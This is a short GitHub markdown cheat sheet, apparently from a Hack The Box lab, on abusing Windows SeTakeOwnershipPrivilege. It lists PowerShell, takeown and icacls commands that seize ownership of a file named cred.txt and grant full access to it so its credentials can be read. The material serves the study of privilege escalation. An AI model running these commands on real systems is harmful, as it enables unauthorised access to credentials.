Skip to content

Latest commit

 

History

History
20 lines (15 loc) · 597 Bytes

setakeownershipprivilege.md

File metadata and controls

20 lines (15 loc) · 597 Bytes

SeTakeOwnershipPrivilege

First enable the permission using this script

  • Get info:

    Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
    
  • Take ownership:

    takeown /f 'C:\Department Shares\Private\IT\cred.txt'
    
  • Modify ACL

    icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
    
  • Access the file.